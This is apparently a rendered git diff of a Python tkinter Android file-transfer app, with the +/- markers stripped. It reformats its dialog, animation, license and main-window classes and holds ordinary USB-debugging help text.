state="normal" if enabled else "disabled",
)
def set_recheck_mode(self, command: Callable) -> None:
"""Set button to recheck device mode.
Args:
command: Command to execute on button click
"""
self.current_mode = "recheck"
self.button.config(
text="Recheck for connected Android device",
command=command,
state="normal"
text="Recheck for connected Android device", command=command, state="normal"
)
def set_cancel_mode(self, command: Callable) -> None:
"""Set button to cancel transfer mode.
Args:
command: Command to execute on button click
"""
self.current_mode = "cancel"
self.button.config(
text="Cancel Transfer",
command=command,
state="normal"
)
self.button.config(text="Cancel Transfer", command=command, state="normal")
def set_checking_mode(self) -> None:
"""Set button to temporary checking state."""
self.button.config(
text="Checking...",
state="disabled"
)
self.button.config(text="Checking...", state="disabled")
def enable(self) -> None:
"""Enable the button."""
self.button.config(state="normal")
def disable(self) -> None:
"""Disable the button."""
self.button.config(state="disabled")
def get_mode(self) -> str:
"""Get the current button mode.
Returns:
Current mode string ('transfer', 'recheck', 'cancel')
"""
@@ -270,10 +260,10 @@ class TransferButton:
class LicenseManager:
"""Manages license agreement display and main interface switching."""
def __init__(self, parent_window: tk.Tk):
"""Initialize the license manager.
Args:
parent_window: The main window instance
"""
@@ -281,39 +271,39 @@ class LicenseManager:
self.license_agreed = check_license_agreement()
self.license_frame = None
self.on_agreed_callback: Optional[Callable] = None
def needs_license_agreement(self) -> bool:
"""Check if license agreement is needed.
Returns:
True if license agreement needs to be shown, False otherwise
"""
return not self.license_agreed
def show_license_agreement(self, on_agreed_callback: Callable) -> None:
"""Show the license agreement interface.
Args:
on_agreed_callback: Callback to execute when license is agreed
"""
self.on_agreed_callback = on_agreed_callback
# Adjust window size for license agreement
self.parent.geometry("700x600")
self.parent.minsize(700, 600)
# Create license agreement frame
self.license_frame = LicenseAgreementFrame(self.parent, self._on_license_agreed)
def _on_license_agreed(self) -> None:
"""Handle when user agrees to license."""
self.license_agreed = True
# Remove license frame
if self.license_frame:
self.license_frame.destroy()
self.license_frame = None
# Execute callback
if self.on_agreed_callback:
self.on_agreed_callback()
self.on_agreed_callback()
+1 -1
View File
@@ -1,4 +1,4 @@
"""
GUI Dialogs Package
Dialog windows and user interaction components.
"""
"""
+129 -164
View File
@@ -11,10 +11,10 @@ from typing import Optional, Tuple
class DialogManager:
"""Manages various dialog boxes and user interactions."""
def __init__(self, parent_window: tk.Tk):
"""Initialize the dialog manager.
Args:
parent_window: The main window instance
"""
@@ -22,7 +22,6 @@ class DialogManager:
self.troubleshooting_steps = (
"Android device appears to have been disconnected and/or USB debugging is disabled.\n"
"Please ensure your Android device is securely connected at both ends.\n\n"
"To enable USB debugging:\n"
"1. Connect your device to the computer via USB\n"
"2. Open Settings → About phone\n"
@@ -33,33 +32,28 @@ class DialogManager:
" (Tip: Use the search icon at the top if you can't find it)\n"
"6. Connect via USB and tap 'Trust' when prompted\n"
" (Checking 'Remember' is recommended for future transfers)\n\n"
"Ensure File Transfer mode is enabled:\n"
"1. After connecting, swipe down to view notifications\n"
"2. Look for a USB notification (often shows 'Charging over USB')\n"
"3. Tap the notification and select 'File Transfer' or 'MTP' mode\n\n"
"Note: Menu names may vary by Android version:\n"
"• Some devices show 'Developer options' under 'System'\n"
"• Others may have it directly in the main Settings menu\n"
"• Samsung devices might show 'Software information' instead of 'About phone'\n\n"
"If you're still having trouble:\n"
"• Try a different USB cable or port (some cables only support charging)\n"
"• Restart both your phone and computer\n"
"• Make sure your phone screen is unlocked when connecting\n"
"• Set your phone screen timeout to 30 minutes (especially for long transfers)\n\n"
"• Use a different computer to test if the issue is computer-specific\n"
"Windows users: If you see a driver installation popup, please allow it to complete.\n"
"Linux users: You may need to run 'sudo usermod -a -G plugdev $USER' and reboot.\n"
"After completing these steps, click 'Recheck for connected Android device' to try again."
)
def show_file_folder_selection_notice(self) -> bool:
"""Show instructions for file and folder selection in a custom dialog.
Returns:
True if user clicked OK, False if user cancelled or closed dialog
"""
@@ -71,20 +65,20 @@ class DialogManager:
dialog.resizable(True, True)
dialog.transient(self.parent)
dialog.grab_set()
# Center the dialog on the parent window
dialog.update_idletasks()
x = self.parent.winfo_x() + (self.parent.winfo_width() // 2) - (600 // 2)
y = self.parent.winfo_y() + (self.parent.winfo_height() // 2) - (250 // 2)
dialog.geometry(f"600x250+{x}+{y}")
# Track if OK was clicked
dialog_confirmed = False
# Create main frame
main_frame = tk.Frame(dialog)
main_frame.pack(fill="both", expand=True, padx=20, pady=20)
# Selection notice text
notice_text = (
"How file and folder selection works in this application\n\n"
@@ -93,7 +87,7 @@ class DialogManager:
"(the current directory you are viewing, not a highlighted folder) will be selected for transfer.\n\n"
"You can only transfer one file or one folder at a time."
)
# Create responsive text label
text_label = tk.Label(
main_frame,
@@ -101,54 +95,56 @@ class DialogManager:
justify="left",
anchor="nw",
wraplength=0, # Will be set dynamically
font=("Arial", 10)
font=("Arial", 10),
)
text_label.pack(fill="both", expand=True, pady=(0, 20))
# OK button with confirmation callback
def on_ok_clicked():
nonlocal dialog_confirmed
dialog_confirmed = True
dialog.destroy()
ok_button = tk.Button(
main_frame,
text="OK",
command=on_ok_clicked,
width=10,
font=("Arial", 10)
main_frame, text="OK", command=on_ok_clicked, width=10, font=("Arial", 10)
)
ok_button.pack(pady=10)
# Configure text wrapping on dialog resize
def on_dialog_configure(event):
if event.widget == dialog:
# Calculate available width for text (account for padding and margins)
available_width = dialog.winfo_width() - 60 # 20px padding * 2 + some margin
available_width = (
dialog.winfo_width() - 60
) # 20px padding * 2 + some margin
if available_width > 200: # Minimum reasonable width
text_label.config(wraplength=available_width)
dialog.bind("<Configure>", on_dialog_configure)
# Set initial wrap length
dialog.after(10, lambda: on_dialog_configure(type('Event', (), {'widget': dialog})()))
dialog.after(
10, lambda: on_dialog_configure(type("Event", (), {"widget": dialog})())
)
# Handle window close (X button) - treat as cancel
def on_dialog_close():
nonlocal dialog_confirmed
dialog_confirmed = False
dialog.destroy()
dialog.protocol("WM_DELETE_WINDOW", on_dialog_close)
# Wait for dialog to close
dialog.wait_window()
return dialog_confirmed
def show_enable_debugging_instructions(self, callback: Optional[callable] = None) -> None:
def show_enable_debugging_instructions(
self, callback: Optional[callable] = None
) -> None:
"""Show instructions to connect device, enable file transfer, and enable USB debugging.
Args:
callback: Optional callback to execute after dialog is closed
"""
@@ -160,17 +156,17 @@ class DialogManager:
dialog.resizable(True, True)
dialog.transient(self.parent)
dialog.grab_set()
# Center the dialog on the parent window
dialog.update_idletasks()
x = self.parent.winfo_x() + (self.parent.winfo_width() // 2) - (700 // 2)
y = self.parent.winfo_y() + (self.parent.winfo_height() // 2) - (450 // 2)
dialog.geometry(f"700x450+{x}+{y}")
# Create main frame
main_frame = tk.Frame(dialog)
main_frame.pack(fill="both", expand=True, padx=20, pady=20)
# Create responsive text label
text_label = tk.Label(
main_frame,
@@ -178,154 +174,110 @@ class DialogManager:
justify="left",
anchor="nw",
wraplength=0, # Will be set dynamically
font=("Arial", 10)
font=("Arial", 10),
)
text_label.pack(fill="both", expand=True, pady=(0, 20))
# OK button
ok_button = tk.Button(
main_frame,
text="OK",
command=dialog.destroy,
width=10,
font=("Arial", 10)
main_frame, text="OK", command=dialog.destroy, width=10, font=("Arial", 10)
)
ok_button.pack(pady=10)
# Configure text wrapping on dialog resize
def on_dialog_configure(event):
if event.widget == dialog:
# Calculate available width for text (account for padding and margins)
available_width = dialog.winfo_width() - 60 # 20px padding * 2 + some margin
available_width = (
dialog.winfo_width() - 60
) # 20px padding * 2 + some margin
if available_width > 200: # Minimum reasonable width
text_label.config(wraplength=available_width)
dialog.bind("<Configure>", on_dialog_configure)
# Set initial wrap length
dialog.after(10, lambda: on_dialog_configure(type('Event', (), {'widget': dialog})()))
dialog.after(
10, lambda: on_dialog_configure(type("Event", (), {"widget": dialog})())
)
# Handle dialog close
def on_close():
dialog.destroy()
if callback:
callback()
# After user clicks OK, ensure callback is executed
dialog.protocol("WM_DELETE_WINDOW", on_close)
ok_button.config(command=on_close)
def show_disable_debugging_reminder(self) -> None:
"""Show reminder to disable USB debugging after transfer."""
msg = (
"Transfer completed!\n\n"
"For security, please disable USB debugging when done:\n"
"Settings → Developer Options → disable 'USB debugging'."
)
messagebox.showinfo("Disable USB Debugging", msg)
def show_transfer_stats(self, stats: dict, operation: str, deduplicator=None) -> None:
"""Show transfer statistics dialog.
Args:
stats: Dictionary containing transfer statistics
operation: Type of operation ("Pull" or "Push")
deduplicator: Optional deduplicator instance for byte formatting
"""
# Format bytes saved
bytes_saved_str = ""
if stats['bytes_saved'] > 0:
if deduplicator and hasattr(deduplicator, 'format_bytes'):
bytes_saved_str = f" ({deduplicator.format_bytes(stats['bytes_saved'])} saved)"
else:
bytes_saved_str = f" ({stats['bytes_saved']} bytes saved)"
# Build message
title = f"{operation} Transfer Complete"
if stats['total_files'] == 0:
message = "No files were found to transfer."
else:
message_parts = [
f"Transfer completed successfully!\n",
f"Files found: {stats['total_files']}",
f"Files transferred: {stats['transferred']}",
f"Duplicate files skipped: {stats['skipped']}{bytes_saved_str}"
]
if stats['skipped'] > 0:
message_parts.append(f"\nDuplicate detection helped avoid unnecessary transfers!")
message = "\n".join(message_parts)
# Show dialog
messagebox.showinfo(title, message)
def show_error(self, title: str, message: str) -> None:
"""Show an error dialog.
Args:
title: Dialog title
message: Error message to display
"""
messagebox.showerror(title, message)
def show_info(self, title: str, message: str) -> None:
"""Show an info dialog.
Args:
title: Dialog title
message: Info message to display
"""
messagebox.showinfo(title, message)
def browse_local_file_or_folder(self, direction: str, initial_dir: Optional[str] = None) -> Optional[str]:
def browse_local_file_or_folder(
self, direction: str, initial_dir: Optional[str] = None
) -> Optional[str]:
"""Browse for local file or folder based on transfer direction.
Args:
direction: Transfer direction ('pull' or 'push')
initial_dir: Initial directory to open browser in
Returns:
Selected path or None if cancelled
"""
if initial_dir is None:
initial_dir = os.path.expanduser("~")
# Show helpful notification about folder selection behavior
if not self.show_file_folder_selection_notice():
return None # User cancelled the notice dialog
if direction == "push":
# For push, show file selection first, then folder selection if cancelled
# First try file selection
selected_path = filedialog.askopenfilename(
title="Select file to push to Android device",
initialdir=initial_dir,
filetypes=[("All files", "*.*")]
filetypes=[("All files", "*.*")],
)
# If no file was selected, offer folder selection as an alternative
if not selected_path:
selected_path = filedialog.askdirectory(
title="Select folder to push to Android device",
initialdir=initial_dir
initialdir=initial_dir,
)
return selected_path if selected_path else None
else: # pull direction
# For pull, only allow folder selection (destination)
folder = filedialog.askdirectory(
title="Select destination folder for pulled files",
initialdir=initial_dir
initialdir=initial_dir,
)
return folder if folder else None
def show_file_folder_choice(self, on_file_callback, on_folder_callback):
"""Show a dialog to choose between file or folder selection.
Args:
on_file_callback: Callback for file selection
on_folder_callback: Callback for folder selection
@@ -337,94 +289,107 @@ class DialogManager:
choice_window.resizable(False, False)
choice_window.transient(self.parent)
choice_window.grab_set()
# Center the window
choice_window.geometry("+{}+{}".format(
self.parent.winfo_x() + 100,
self.parent.winfo_y() + 100
))
choice_window.geometry(
"+{}+{}".format(self.parent.winfo_x() + 100, self.parent.winfo_y() + 100)
)
main_frame = tk.Frame(choice_window)
main_frame.pack(fill="both", expand=True, padx=20, pady=20)
tk.Label(main_frame, text="What would you like to select?",
font=("Arial", 11)).pack(pady=(0, 15))
tk.Label(
main_frame, text="What would you like to select?", font=("Arial", 11)
).pack(pady=(0, 15))
button_frame = tk.Frame(main_frame)
button_frame.pack(fill="x")
def select_file():
choice_window.destroy()
on_file_callback()
def select_folder():
choice_window.destroy()
on_folder_callback()
def cancel_selection():
choice_window.destroy()
tk.Button(button_frame, text="📄 File", command=select_file,
width=12, font=("Arial", 10)).pack(side="left", padx=(0, 10))
tk.Button(button_frame, text="📁 Folder", command=select_folder,
width=12, font=("Arial", 10)).pack(side="left", padx=(0, 10))
tk.Button(button_frame, text="Cancel", command=cancel_selection,
width=12).pack(side="right")
def show_transfer_stats(self, stats: dict, operation: str):
tk.Button(
button_frame,
text="📄 File",
command=select_file,
width=12,
font=("Arial", 10),
).pack(side="left", padx=(0, 10))
tk.Button(
button_frame,
text="📁 Folder",
command=select_folder,
width=12,
font=("Arial", 10),
).pack(side="left", padx=(0, 10))
tk.Button(button_frame, text="Cancel", command=cancel_selection, width=12).pack(
side="right"
)
def show_transfer_stats(self, stats: dict, operation: str) -> None:
"""Show transfer statistics in a dialog.
Args:
stats: Dictionary containing transfer statistics
operation: Description of the operation performed
"""
if not stats:
return
stats_window = tk.Toplevel(self.parent)
stats_window.title("Transfer Statistics")
stats_window.geometry("400x300")
stats_window.resizable(True, True)
stats_window.transient(self.parent)
stats_window.grab_set()
# Center the window
stats_window.geometry("+{}+{}".format(
self.parent.winfo_x() + 60,
self.parent.winfo_y() + 60
))
stats_window.geometry(
"+{}+{}".format(self.parent.winfo_x() + 60, self.parent.winfo_y() + 60)
)
main_frame = tk.Frame(stats_window)
main_frame.pack(fill="both", expand=True, padx=15, pady=15)
# Title
title_label = tk.Label(main_frame, text=f"📊 Transfer Complete - {operation.title()}",
font=("Arial", 14, "bold"))
title_label = tk.Label(
main_frame,
text=f"📊 Transfer Complete - {operation.title()}",
font=("Arial", 14, "bold"),
)
title_label.pack(pady=(0, 15))
# Stats display
stats_text = tk.Text(main_frame, wrap=tk.WORD, font=("Courier", 10),
height=12, width=50)
stats_text = tk.Text(
main_frame, wrap=tk.WORD, font=("Courier", 10), height=12, width=50
)
stats_text.pack(fill="both", expand=True, pady=(0, 15))
# Format and insert stats
stats_content = []
for key, value in stats.items():
formatted_key = key.replace('_', ' ').title()
formatted_key = key.replace("_", " ").title()
stats_content.append(f"{formatted_key}: {value}")
stats_text.insert(tk.END, "\n".join(stats_content))
stats_text.config(state=tk.DISABLED)
# Close button
tk.Button(main_frame, text="Close",
command=stats_window.destroy).pack()
def show_disable_debugging_reminder(self):
tk.Button(main_frame, text="Close", command=stats_window.destroy).pack()
def show_disable_debugging_reminder(self) -> None:
"""Show reminder about disabling USB debugging after transfer."""
messagebox.showinfo(
"Security Reminder",
"Security Reminder",
"Transfer complete!\n\nFor security, consider disabling USB debugging when not needed:\n"
"Settings → Developer Options → USB debugging (toggle off)\n\n"
"Keep it enabled if you plan to transfer files again soon."
)
"Keep it enabled if you plan to transfer files again soon.",
)
+38 -34
View File
@@ -116,7 +116,9 @@ def resource_path(relative_path: str) -> str:
base = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
return os.path.normpath(os.path.join(base, relative_path))
except Exception:
return os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), relative_path))
return os.path.normpath(
os.path.join(os.path.dirname(os.path.abspath(__file__)), relative_path)
)
def run_windows_first_run_if_needed() -> None:
@@ -136,7 +138,11 @@ def run_windows_first_run_if_needed() -> None:
if not os.path.exists(script_path):
return
try:
subprocess.Popen(["powershell.exe", "-ExecutionPolicy", "Bypass", "-File", script_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.Popen(
["powershell.exe", "-ExecutionPolicy", "Bypass", "-File", script_path],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
except Exception:
pass
except Exception:
@@ -156,106 +162,104 @@ class LicenseAgreementFrame(tk.Frame):
super().__init__(parent)
self.on_agree_callback = on_agree_callback
self.setup_ui()
def setup_ui(self):
"""Setup the license agreement UI."""
# Configure the frame to fill the window
self.pack(fill=tk.BOTH, expand=True, padx=20, pady=20)
# Header
header_label = tk.Label(
self,
text="License Agreement",
font=("Arial", 16, "bold")
self, text="License Agreement", font=("Arial", 16, "bold")
)
header_label.pack(pady=(0, 10))
# Instruction
instruction_label = tk.Label(
self,
self,
text="Please read and accept the license agreement to continue using Android File Handler:",
font=("Arial", 10),
wraplength=500
wraplength=500,
)
instruction_label.pack(pady=(0, 15))
# License text area
text_frame = tk.Frame(self)
text_frame.pack(fill=tk.BOTH, expand=True, pady=(0, 20))
self.license_text = scrolledtext.ScrolledText(
text_frame,
wrap=tk.WORD,
width=80,
text_frame,
wrap=tk.WORD,
width=80,
height=20,
font=("Courier", 9),
state=tk.DISABLED,
bg="#f8f8f8",
relief=tk.SUNKEN,
bd=2
bd=2,
)
self.license_text.pack(fill=tk.BOTH, expand=True)
# Insert license text
self.license_text.config(state=tk.NORMAL)
self.license_text.insert(tk.END, get_mit_license_text())
self.license_text.config(state=tk.DISABLED)
# Button frame
button_frame = tk.Frame(self)
button_frame.pack(fill=tk.X, pady=(10, 0))
# Buttons
self.agree_btn = tk.Button(
button_frame,
text="I Agree",
button_frame,
text="I Agree",
command=self.on_agree,
bg="#4CAF50",
fg="white",
fg="white",
font=("Arial", 11, "bold"),
width=15,
height=2
height=2,
)
self.agree_btn.pack(side=tk.LEFT)
self.disagree_btn = tk.Button(
button_frame,
text="Disagree & Exit",
button_frame,
text="Disagree & Exit",
command=self.on_disagree,
bg="#ff6b6b",
fg="white",
font=("Arial", 11, "bold"),
width=15,
height=2
height=2,
)
self.disagree_btn.pack(side=tk.RIGHT)
# Center text
center_label = tk.Label(
button_frame,
text="You must agree to the license terms to use this software",
font=("Arial", 9),
fg="#666666"
fg="#666666",
)
center_label.pack(expand=True)
def on_agree(self):
"""Handle user clicking Agree."""
if save_license_agreement():
self.on_agree_callback()
else:
messagebox.showerror(
"Error",
"Could not save license agreement. Please check file permissions and try again."
"Error",
"Could not save license agreement. Please check file permissions and try again.",
)
def on_disagree(self):
"""Handle user clicking Disagree."""
# Ask for confirmation
result = messagebox.askyesno(
"Exit Application",
"Are you sure you want to exit? You must agree to the license terms to use this software.",
icon="warning"
icon="warning",
)
if result:
sys.exit(0)
+1 -1
View File
@@ -1,4 +1,4 @@
"""
GUI Handlers Package
Event handlers and animation controllers.
"""
"""
+33 -39
View File
@@ -9,10 +9,10 @@ from typing import Optional, Dict, Any
class AnimationHandler:
"""Handles all GUI animations including transfer and scanning animations."""
def __init__(self, parent_window: tk.Tk):
"""Initialize the animation handler.
Args:
parent_window: The main window instance
"""
@@ -20,46 +20,42 @@ class AnimationHandler:
self.animation_job: Optional[str] = None
self.animation_dots = 0
self.scanning_active = False
# File transfer progress tracking
self.transfer_file_progress = {
'current': 0,
'total': 0,
'active': False
}
self.transfer_file_progress = {"current": 0, "total": 0, "active": False}
def start_scanning_animation(self) -> None:
"""Start the 'Scanning for duplicates...' animation."""
self.animation_dots = 0
self.scanning_active = True
self.animation_job = self.parent.after(0, self._animate_scanning_text)
def start_transfer_animation(self) -> None:
"""Start the 'Transferring...' animation."""
self.animation_dots = 0
self.scanning_active = False
self.animation_job = self.parent.after(0, self._animate_transfer_text)
def stop_animation(self) -> None:
"""Stop any running animation."""
if self.animation_job is not None:
self.parent.after_cancel(self.animation_job)
self.animation_job = None
self.scanning_active = False
self._reset_file_progress()
def update_transfer_progress(self, current: int, total: int) -> None:
"""Update the file transfer progress.
Args:
current: Current number of files transferred
total: Total number of files to transfer
"""
self.transfer_file_progress['current'] = current
self.transfer_file_progress['total'] = total
self.transfer_file_progress['active'] = True
self.transfer_file_progress["current"] = current
self.transfer_file_progress["total"] = total
self.transfer_file_progress["active"] = True
def _animate_scanning_text(self) -> None:
"""Animate the scanning text with dots."""
if self.animation_job is not None and self.scanning_active:
@@ -69,56 +65,54 @@ class AnimationHandler:
self.animation_dots = (self.animation_dots + 1) % 5 # Cycle 0-4 dots
# Schedule next update in 500ms
self.animation_job = self.parent.after(500, self._animate_scanning_text)
def _animate_transfer_text(self) -> None:
"""Animate the transfer text with dots."""
if self.animation_job is not None and not self.scanning_active:
dots = "." * (self.animation_dots + 1)
# Show file progress if available
if (self.transfer_file_progress['active'] and
self.transfer_file_progress['total'] > 0):
current = self.transfer_file_progress['current']
total = self.transfer_file_progress['total']
if (
self.transfer_file_progress["active"]
and self.transfer_file_progress["total"] > 0
):
current = self.transfer_file_progress["current"]
total = self.transfer_file_progress["total"]
status_text = f"Transferring {current} of {total} files{dots}"
else:
status_text = f"Transferring{dots}"
self._update_status_label(status_text)
self.animation_dots = (self.animation_dots + 1) % 5 # Cycle 0-4 dots
# Schedule next update in 500ms
self.animation_job = self.parent.after(500, self._animate_transfer_text)
def _update_status_label(self, text: str) -> None:
"""Update the status label with the given text.
Args:
text: Text to display in the status label
"""
if hasattr(self.parent, 'status_label'):
if hasattr(self.parent, "status_label"):
self.parent.status_label.config(text=text)
self.parent.update_idletasks()
def _reset_file_progress(self) -> None:
"""Reset file progress tracking."""
self.transfer_file_progress = {
'current': 0,
'total': 0,
'active': False
}
self.transfer_file_progress = {"current": 0, "total": 0, "active": False}
def is_animation_running(self) -> bool:
"""Check if any animation is currently running.
Returns:
True if animation is running, False otherwise
"""
return self.animation_job is not None
def is_scanning(self) -> bool:
"""Check if scanning animation is active.
Returns:
True if scanning animation is active, False otherwise
"""
return self.scanning_active
return self.scanning_active
+100 -79
View File
@@ -16,24 +16,30 @@ except ImportError:
from core.adb_manager import ADBManager, is_adb_available
try:
# Try relative imports first
# Try relative imports first (when used as module)
from .components.file_browser import AndroidFileBrowser
from .handlers.animation_handler import AnimationHandler
from .dialogs.dialog_manager import DialogManager
from .components.ui_components import (
PathSelectorFrame, DirectionSelector, StatusLabel,
TransferButton, LicenseManager
PathSelectorFrame,
DirectionSelector,
StatusLabel,
TransferButton,
LicenseManager,
)
from ..managers.device_manager import DeviceManager
from ..managers.transfer_manager import TransferManager
except ImportError:
# Fall back to direct imports
from components.file_browser import AndroidFileBrowser
from handlers.animation_handler import AnimationHandler
from dialogs.dialog_manager import DialogManager
from components.ui_components import (
PathSelectorFrame, DirectionSelector, StatusLabel,
TransferButton, LicenseManager
# Fall back to absolute imports from src package
from gui.components.file_browser import AndroidFileBrowser
from gui.handlers.animation_handler import AnimationHandler
from gui.dialogs.dialog_manager import DialogManager
from gui.components.ui_components import (
PathSelectorFrame,
DirectionSelector,
StatusLabel,
TransferButton,
LicenseManager,
)
from managers.device_manager import DeviceManager
from managers.transfer_manager import TransferManager
@@ -45,26 +51,23 @@ class AndroidFileHandlerGUI(tk.Tk):
def __init__(self):
"""Initialize the main GUI application."""
super().__init__()
# Transfer tracking for thread safety
self.current_transfer_id = 0
self.device_connected = False
# Initialize modular components
self.license_manager = LicenseManager(self)
self.device_manager = DeviceManager(self) # Creates its own ADBManager
self.dialog_manager = DialogManager(self)
self.animation_handler = AnimationHandler(self)
self.transfer_manager = TransferManager(
self,
self.device_manager,
self.animation_handler,
self.dialog_manager
self, self.device_manager, self.animation_handler, self.dialog_manager
)
# Get ADB manager reference from device manager
self.adb_manager = self.device_manager.adb_manager
# Initialize UI and start application
self._setup_initial_ui()
@@ -75,7 +78,7 @@ class AndroidFileHandlerGUI(tk.Tk):
self.geometry("520x320")
self.minsize(520, 320)
self.resizable(True, True)
if self.license_manager.needs_license_agreement():
# Show license agreement first
self.license_manager.show_license_agreement(self._show_main_interface)
@@ -88,7 +91,7 @@ class AndroidFileHandlerGUI(tk.Tk):
# Reset window size for main interface
self.geometry("520x320")
self.minsize(520, 320)
# Setup main UI
self._setup_main_ui()
self._initialize_components()
@@ -98,22 +101,18 @@ class AndroidFileHandlerGUI(tk.Tk):
"""Setup the main user interface."""
# Direction selection
self.direction_selector = DirectionSelector(self, self._on_direction_change)
# Create a container frame for the path sections that can be reordered
self.path_container = tk.Frame(self)
self.path_container.pack(fill="x", padx=10, pady=(10, 0))
# Create path selector components
self.android_path_selector = PathSelectorFrame(
self.path_container,
"Android device:",
self.browse_remote_folder
self.path_container, "Android device:", self.browse_remote_folder
)
self.computer_path_selector = PathSelectorFrame(
self.path_container,
"Computer:",
self.browse_local_folder
self.path_container, "Computer:", self.browse_local_folder
)
# Initially arrange for pull (Android on top)
@@ -124,7 +123,7 @@ class AndroidFileHandlerGUI(tk.Tk):
# Transfer button with multi-mode functionality
self.transfer_button = TransferButton(self)
# Initially disable components until device is connected
self._disable_browse_buttons()
@@ -134,20 +133,24 @@ class AndroidFileHandlerGUI(tk.Tk):
def _initialize_components(self):
"""Initialize GUI components and handlers."""
# Set up ADB callbacks directly
self.adb_manager.set_progress_callback(lambda x: None) # Ignore progress for now
self.adb_manager.set_progress_callback(
lambda x: None
) # Ignore progress for now
self.adb_manager.set_status_callback(self._update_status)
# Connect transfer manager callbacks
self.transfer_manager.set_status_callback(self._update_status)
self.transfer_manager.set_ui_callback('disable_controls', self.disable_controls)
self.transfer_manager.set_ui_callback('enable_controls', self.enable_controls)
self.transfer_manager.set_ui_callback('show_error', self.report_error)
self.transfer_manager.set_ui_callback('show_stats', self._show_transfer_stats)
self.transfer_manager.set_ui_callback('show_reminder', self._show_debugging_reminder)
self.transfer_manager.set_ui_callback("disable_controls", self.disable_controls)
self.transfer_manager.set_ui_callback("enable_controls", self.enable_controls)
self.transfer_manager.set_ui_callback("show_error", self.report_error)
self.transfer_manager.set_ui_callback("show_stats", self._show_transfer_stats)
self.transfer_manager.set_ui_callback(
"show_reminder", self._show_debugging_reminder
)
def _update_status(self, message: str):
"""Update the status label from any thread.
Args:
message: Status message to display
"""
@@ -166,7 +169,7 @@ class AndroidFileHandlerGUI(tk.Tk):
"""Validate selected paths and update button state accordingly."""
android_path_valid = self.android_path_selector.is_path_selected()
computer_path_valid = self.computer_path_selector.is_path_selected()
if android_path_valid and computer_path_valid and self.device_connected:
self.transfer_button.set_transfer_mode(self.start_transfer, enabled=True)
else:
@@ -193,25 +196,29 @@ class AndroidFileHandlerGUI(tk.Tk):
# Initialize ADB and check device connection
self.device_manager.initialize_adb()
self.device_connected = self.device_manager.check_device_connection()
if self.device_connected:
self._update_status("Status: Android device detected. Ready for file transfer.")
self._update_status(
"Status: Android device detected. Ready for file transfer."
)
self._enable_browse_buttons()
self._validate_paths_and_update_button()
else:
self._update_status("Status: No Android device detected. Please connect your device and enable USB debugging.")
self._update_status(
"Status: No Android device detected. Please connect your device and enable USB debugging."
)
self.transfer_button.set_recheck_mode(self.recheck_device)
def _on_direction_change(self):
"""Handle transfer direction change."""
self._arrange_path_sections()
def _arrange_path_sections(self):
"""Arrange path sections based on transfer direction."""
# Remove both sections first
self.android_path_selector.pack_forget()
self.computer_path_selector.pack_forget()
if self.direction_selector.get_direction() == "pull":
# Pull: Android (source) on top, Computer (destination) on bottom
self.android_path_selector.pack(fill="x", pady=(0, 0))
@@ -223,56 +230,63 @@ class AndroidFileHandlerGUI(tk.Tk):
def browse_remote_folder(self):
"""Open the Android file browser for remote path selection."""
def on_path_selected(path):
self.android_path_selector.set_path(path)
self._validate_paths_and_update_button()
browser = AndroidFileBrowser(self, self.adb_manager, on_path_selected)
browser.show_browser(direction="pull")
def browse_local_folder(self):
"""Browse for local file or folder selection."""
def on_file_selected():
filename = filedialog.askopenfilename(
title="Select a file to transfer",
initialdir=os.path.expanduser("~")
title="Select a file to transfer", initialdir=os.path.expanduser("~")
)
if filename:
self.computer_path_selector.set_path(filename)
self._validate_paths_and_update_button()
def on_folder_selected():
foldername = filedialog.askdirectory(
title="Select a folder to transfer",
initialdir=os.path.expanduser("~")
title="Select a folder to transfer", initialdir=os.path.expanduser("~")
)
if foldername:
self.computer_path_selector.set_path(foldername)
self._validate_paths_and_update_button()
# Show file/folder selection dialog
self.dialog_manager.show_file_folder_choice(on_file_selected, on_folder_selected)
self.dialog_manager.show_file_folder_choice(
on_file_selected, on_folder_selected
)
def recheck_device(self):
"""Recheck for connected Android device."""
self.transfer_button.set_checking_mode()
self.animation_handler.start_scanning_animation("Status: Scanning")
def perform_recheck():
self.device_connected = self.device_manager.check_device_connection()
self.after(0, self._handle_device_recheck_result)
threading.Thread(target=perform_recheck, daemon=True).start()
def _handle_device_recheck_result(self):
"""Handle the result of device recheck."""
self.animation_handler.stop_animation()
if self.device_connected:
self._update_status("Status: Android device detected. Ready for file transfer.")
self._update_status(
"Status: Android device detected. Ready for file transfer."
)
self._enable_browse_buttons()
self._validate_paths_and_update_button()
else:
self._update_status("Status: No Android device detected. Please connect your device and enable USB debugging.")
self._update_status(
"Status: No Android device detected. Please connect your device and enable USB debugging."
)
self.transfer_button.set_recheck_mode(self.recheck_device)
def start_transfer(self):
@@ -282,34 +296,34 @@ class AndroidFileHandlerGUI(tk.Tk):
direction = self.direction_selector.get_direction()
remote_path = self.android_path_selector.get_path()
local_path = self.computer_path_selector.get_path()
# Validate paths
if not self.android_path_selector.is_path_selected():
messagebox.showerror("Error", "Please select an Android device path.")
return
if not self.computer_path_selector.is_path_selected():
messagebox.showerror("Error", "Please select a computer path.")
return
# Check device connection
if not self.device_manager.check_device_connection():
messagebox.showerror("Error", "Android device not connected. Please check your connection and try again.")
messagebox.showerror(
"Error",
"Android device not connected. Please check your connection and try again.",
)
self._handle_device_disconnection()
return
# Switch to cancel mode and start transfer
self.transfer_button.set_cancel_mode(self.cancel_transfer)
self.animation_handler.start_transfer_animation("Status: Transferring")
# Start transfer using transfer manager
self.transfer_manager.start_transfer(
direction,
remote_path,
local_path,
self._on_transfer_complete
direction, remote_path, local_path, self._on_transfer_complete
)
except Exception as e:
self.report_error(f"Error starting transfer: {str(e)}")
@@ -321,23 +335,28 @@ class AndroidFileHandlerGUI(tk.Tk):
self._update_status("Status: Transfer cancelled by user.")
self.enable_controls()
self._validate_paths_and_update_button()
except Exception as e:
self.report_error(f"Error cancelling transfer: {str(e)}")
def _on_transfer_complete(self, success: bool, stats: dict, operation: str):
"""Handle transfer completion."""
self.animation_handler.stop_animation()
if success:
self._update_status(f"Status: Transfer complete! Successfully {operation}.")
if stats:
self._show_transfer_stats(stats, operation)
self._show_debugging_reminder()
else:
self._update_status("Status: Transfer failed. Please check your connection and try again.")
messagebox.showerror("Transfer Failed", "The file transfer was not successful. Please check your device connection and try again.")
self._update_status(
"Status: Transfer failed. Please check your connection and try again."
)
messagebox.showerror(
"Transfer Failed",
"The file transfer was not successful. Please check your device connection and try again.",
)
self.enable_controls()
